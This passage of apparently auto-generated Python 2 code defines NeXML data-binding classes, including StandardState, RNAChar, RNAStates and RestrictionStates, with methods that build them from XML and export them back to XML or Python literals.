outfile.write('state=[\n') level += 1 for state_ in self.state: showIndent(outfile, level) outfile.write('model_.StandardState(\n') state_.exportLiteral(outfile, level, name_='StandardState') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('polymorphic_state_set=[\n') level += 1 for polymorphic_state_set_ in self.polymorphic_state_set: showIndent(outfile, level) outfile.write('model_.StandardPolymorphicStateSet(\n') polymorphic_state_set_.exportLiteral(outfile, level, name_='StandardPolymorphicStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.StandardUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='StandardUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.StateSet(\n') set_.exportLiteral(outfile, level, name_='StateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardStates, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'state': obj_ = StandardState.factory() obj_.build(child_) self.state.append(obj_) elif nodeName_ == 'polymorphic_state_set': obj_ = StandardPolymorphicStateSet.factory() obj_.build(child_) self.polymorphic_state_set.append(obj_) elif nodeName_ == 'uncertain_state_set': obj_ = StandardUncertainStateSet.factory() obj_.build(child_) self.uncertain_state_set.append(obj_) elif nodeName_ == 'set': obj_ = StateSet.factory() obj_.build(child_) self.set.append(obj_) # end class StandardStates class StandardState(AbstractState): """This is a concrete implementation of the state element, which requires a symbol element, in this case restricted to integers, and optional mapping elements to refer to other states.""" subclass = None superclass = AbstractState def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, valueOf_=None): super(StandardState, self).__init__(about, meta, label, id, symbol, ) self.symbol = _cast(None, symbol) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if StandardState.subclass: return StandardState.subclass(*args_, **kwargs_) else: return StandardState(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_StandardToken(self, value): # Validate type StandardToken, a restriction on xs:integer. pass def export(self, outfile, level, namespace_='', name_='StandardState', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardState') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardState'): super(StandardState, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardState') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='StandardState', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(StandardState, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardState'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = %d,\n' % (self.symbol,)) super(StandardState, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardState, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') try: self.symbol = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) self.validate_StandardToken(self.symbol) # validate type StandardToken super(StandardState, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class StandardState class RNAChar(AbstractChar): """A concrete implementation of the AbstractChar element, i.e. a single column in an alignment.""" subclass = None superclass = AbstractChar def __init__(self, about=None, meta=None, label=None, id=None, tokens=None, states=None, codon=None, valueOf_=None): super(RNAChar, self).__init__(about, meta, label, id, tokens, states, codon, ) self.tokens = _cast(None, tokens) self.states = _cast(None, states) self.codon = _cast(None, codon) self.id = _cast(None, id) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if RNAChar.subclass: return RNAChar.subclass(*args_, **kwargs_) else: return RNAChar(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_tokens(self): return self.tokens def set_tokens(self, tokens): self.tokens = tokens def validate_MSTokenLength(self, value): # Validate type MSTokenLength, a restriction on xs:positiveInteger. pass def get_states(self): return self.states def set_states(self, states): self.states = states def get_codon(self): return self.codon def set_codon(self, codon): self.codon = codon def validate_CodonPosition(self, value): # Validate type CodonPosition, a restriction on xs:nonNegativeInteger. pass def get_id(self): return self.id def set_id(self, id): self.id = id def export(self, outfile, level, namespace_='', name_='RNAChar', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAChar') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAChar'): super(RNAChar, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAChar') if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') outfile.write(' tokens=%s' % (quote_attrib(self.tokens), )) if self.states is not None and 'states' not in already_processed: already_processed.append('states') outfile.write(' states=%s' % (self.gds_format_string(quote_attrib(self.states).encode(ExternalEncoding), input_name='states'), )) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') outfile.write(' codon=%s' % (quote_attrib(self.codon), )) if self.id is not None and 'id' not in already_processed: already_processed.append('id') outfile.write(' id=%s' % (self.gds_format_string(quote_attrib(self.id).encode(ExternalEncoding), input_name='id'), )) def exportChildren(self, outfile, level, namespace_='', name_='RNAChar', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(RNAChar, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAChar'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') showIndent(outfile, level) outfile.write('tokens = %d,\n' % (self.tokens,)) if self.states is not None and 'states' not in already_processed: already_processed.append('states') showIndent(outfile, level) outfile.write('states = "%s",\n' % (self.states,)) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') showIndent(outfile, level) outfile.write('codon = %d,\n' % (self.codon,)) if self.id is not None and 'id' not in already_processed: already_processed.append('id') showIndent(outfile, level) outfile.write('id = "%s",\n' % (self.id,)) super(RNAChar, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAChar, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('tokens', node) if value is not None and 'tokens' not in already_processed: already_processed.append('tokens') try: self.tokens = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.tokens <= 0: raise_parse_error(node, 'Invalid PositiveInteger') self.validate_MSTokenLength(self.tokens) # validate type MSTokenLength value = find_attr_value_('states', node) if value is not None and 'states' not in already_processed: already_processed.append('states') self.states = value value = find_attr_value_('codon', node) if value is not None and 'codon' not in already_processed: already_processed.append('codon') try: self.codon = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.codon < 0: raise_parse_error(node, 'Invalid NonNegativeInteger') self.validate_CodonPosition(self.codon) # validate type CodonPosition value = find_attr_value_('id', node) if value is not None and 'id' not in already_processed: already_processed.append('id') self.id = value super(RNAChar, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class RNAChar class RNAStates(AbstractStates): """A container for a set of states.""" subclass = None superclass = AbstractStates def __init__(self, about=None, meta=None, label=None, id=None, state=None, polymorphic_state_set=None, uncertain_state_set=None, set=None, valueOf_=None): super(RNAStates, self).__init__(about, meta, label, id, state, polymorphic_state_set, uncertain_state_set, set, ) if meta is None: self.meta = [] else: self.meta = meta if state is None: self.state = [] else: self.state = state if polymorphic_state_set is None: self.polymorphic_state_set = [] else: self.polymorphic_state_set = polymorphic_state_set if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RNAStates.subclass: return RNAStates.subclass(*args_, **kwargs_) else: return RNAStates(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_state(self): return self.state def set_state(self, state): self.state = state def add_state(self, value): self.state.append(value) def insert_state(self, index, value): self.state[index] = value def get_polymorphic_state_set(self): return self.polymorphic_state_set def set_polymorphic_state_set(self, polymorphic_state_set): self.polymorphic_state_set = polymorphic_state_set def add_polymorphic_state_set(self, value): self.polymorphic_state_set.append(value) def insert_polymorphic_state_set(self, index, value): self.polymorphic_state_set[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RNAStates', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAStates') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAStates'): super(RNAStates, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAStates') def exportChildren(self, outfile, level, namespace_='', name_='RNAStates', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for state_ in self.state: state_.export(outfile, level, namespace_, name_='state') for polymorphic_state_set_ in self.polymorphic_state_set: polymorphic_state_set_.export(outfile, level, namespace_, name_='polymorphic_state_set') for uncertain_state_set_ in self.uncertain_state_set: uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.state or self.polymorphic_state_set or self.uncertain_state_set or self.set or super(RNAStates, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAStates'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RNAStates, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAStates, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('state=[\n') level += 1 for state_ in self.state: showIndent(outfile, level) outfile.write('model_.RNAState(\n') state_.exportLiteral(outfile, level, name_='RNAState') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('polymorphic_state_set=[\n') level += 1 for polymorphic_state_set_ in self.polymorphic_state_set: showIndent(outfile, level) outfile.write('model_.RNAPolymorphicStateSet(\n') polymorphic_state_set_.exportLiteral(outfile, level, name_='RNAPolymorphicStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.RNAUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='RNAUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.StateSet(\n') set_.exportLiteral(outfile, level, name_='StateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RNAStates, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'state': obj_ = RNAState.factory() obj_.build(child_) self.state.append(obj_) elif nodeName_ == 'polymorphic_state_set': obj_ = RNAPolymorphicStateSet.factory() obj_.build(child_) self.polymorphic_state_set.append(obj_) elif nodeName_ == 'uncertain_state_set': obj_ = RNAUncertainStateSet.factory() obj_.build(child_) self.uncertain_state_set.append(obj_) elif nodeName_ == 'set': obj_ = StateSet.factory() obj_.build(child_) self.set.append(obj_) # end class RNAStates class RNAState(AbstractState): """This is a concrete implementation of the state element, which requires a symbol attribute, in this case restricted to RNAToken, i.e. a single IUPAC nucleotide symbol, and optional mapping elements to refer to other states.""" subclass = None superclass = AbstractState def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, valueOf_=None): super(RNAState, self).__init__(about, meta, label, id, symbol, ) self.symbol = _cast(None, symbol) pass def factory(*args_, **kwargs_): if RNAState.subclass: return RNAState.subclass(*args_, **kwargs_) else: return RNAState(*args_, **kwargs_) factory = staticmethod(factory) def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_RNAToken(self, value): # Validate type RNAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='RNAState', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAState') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAState'): super(RNAState, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAState') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='RNAState', fromsubclass_=False): pass def hasContent_(self): if ( super(RNAState, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAState'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(RNAState, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAState, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_RNAToken(self.symbol) # validate type RNAToken super(RNAState, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class RNAState class RestrictionChar(AbstractChar): """A concrete implementation of the char element, which requires a unique identifier and a state set reference.""" subclass = None superclass = AbstractChar def __init__(self, about=None, meta=None, label=None, id=None, tokens=None, states=None, codon=None, valueOf_=None): super(RestrictionChar, self).__init__(about, meta, label, id, tokens, states, codon, ) self.tokens = _cast(None, tokens) self.states = _cast(None, states) self.codon = _cast(None, codon) self.id = _cast(None, id) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if RestrictionChar.subclass: return RestrictionChar.subclass(*args_, **kwargs_) else: return RestrictionChar(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_tokens(self): return self.tokens def set_tokens(self, tokens): self.tokens = tokens def validate_MSTokenLength(self, value): # Validate type MSTokenLength, a restriction on xs:positiveInteger. pass def get_states(self): return self.states def set_states(self, states): self.states = states def get_codon(self): return self.codon def set_codon(self, codon): self.codon = codon def validate_CodonPosition(self, value): # Validate type CodonPosition, a restriction on xs:nonNegativeInteger. pass def get_id(self): return self.id def set_id(self, id): self.id = id def export(self, outfile, level, namespace_='', name_='RestrictionChar', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionChar') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionChar'): super(RestrictionChar, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionChar') if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') outfile.write(' tokens=%s' % (quote_attrib(self.tokens), )) if self.states is not None and 'states' not in already_processed: already_processed.append('states') outfile.write(' states=%s' % (self.gds_format_string(quote_attrib(self.states).encode(ExternalEncoding), input_name='states'), )) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') outfile.write(' codon=%s' % (quote_attrib(self.codon), )) if self.id is not None and 'id' not in already_processed: already_processed.append('id') outfile.write(' id=%s' % (self.gds_format_string(quote_attrib(self.id).encode(ExternalEncoding), input_name='id'), )) def exportChildren(self, outfile, level, namespace_='', name_='RestrictionChar', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(RestrictionChar, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionChar'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') showIndent(outfile, level) outfile.write('tokens = %d,\n' % (self.tokens,)) if self.states is not None and 'states' not in already_processed: already_processed.append('states') showIndent(outfile, level) outfile.write('states = "%s",\n' % (self.states,)) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') showIndent(outfile, level) outfile.write('codon = %d,\n' % (self.codon,)) if self.id is not None and 'id' not in already_processed: already_processed.append('id') showIndent(outfile, level) outfile.write('id = "%s",\n' % (self.id,)) super(RestrictionChar, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionChar, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('tokens', node) if value is not None and 'tokens' not in already_processed: already_processed.append('tokens') try: self.tokens = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.tokens <= 0: raise_parse_error(node, 'Invalid PositiveInteger') self.validate_MSTokenLength(self.tokens) # validate type MSTokenLength value = find_attr_value_('states', node) if value is not None and 'states' not in already_processed: already_processed.append('states') self.states = value value = find_attr_value_('codon', node) if value is not None and 'codon' not in already_processed: already_processed.append('codon') try: self.codon = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.codon < 0: raise_parse_error(node, 'Invalid NonNegativeInteger') self.validate_CodonPosition(self.codon) # validate type CodonPosition value = find_attr_value_('id', node) if value is not None and 'id' not in already_processed: already_processed.append('id') self.id = value super(RestrictionChar, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class RestrictionChar class RestrictionStates(AbstractStates): """A container for a set of states.""" subclass = None superclass = AbstractStates def __init__(self, about=None, meta=None, label=None, id=None, state=None, polymorphic_state_set=None, uncertain_state_set=None, set=None, valueOf_=None): super(RestrictionStates, self).__init__(about, meta, label, id, state, polymorphic_state_set, uncertain_state_set, set, ) if meta is None: self.meta = [] else: self.meta = meta if state is None: self.state = [] else: self.state = state if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RestrictionStates.subclass: return RestrictionStates.subclass(*args_, **kwargs_) else: return RestrictionStates(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_state(self): return self.state def set_state(self, state): self.state = state def add_state(self, value): self.state.append(value) def insert_state(self, index, value): self.state[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RestrictionStates', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionStates') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionStates'): super(RestrictionStates, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionStates') def exportChildren(self, outfile, level, namespace_='', name_='RestrictionStates', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for state_ in self.state: state_.export(outfile, level, namespace_, name_='state') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.state or self.set or super(RestrictionStates, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionStates'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RestrictionStates, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionStates, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('state=[\n') level += 1 for state_ in self.state: showIndent(outfile, level) outfile.write('model_.RestrictionState(\n') state_.exportLiteral(outfile, level, name_='RestrictionState') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.StateSet(\n') set_.exportLiteral(outfile, level, name_='StateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RestrictionStates, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'state': obj_ = RestrictionState.factory() obj_.build(child_) self.state.append(obj_) elif nodeName_ == 'set': obj_ = StateSet.factory() obj_.build(child_) self.set.append(obj_) # end class RestrictionStates class RestrictionState(AbstractState): """This is a concrete implementation of the state element, which requires a symbol element, in this case restricted to 0/1.""" subclass = None superclass = AbstractState def __init__(self, about=None, meta=None, label=None, 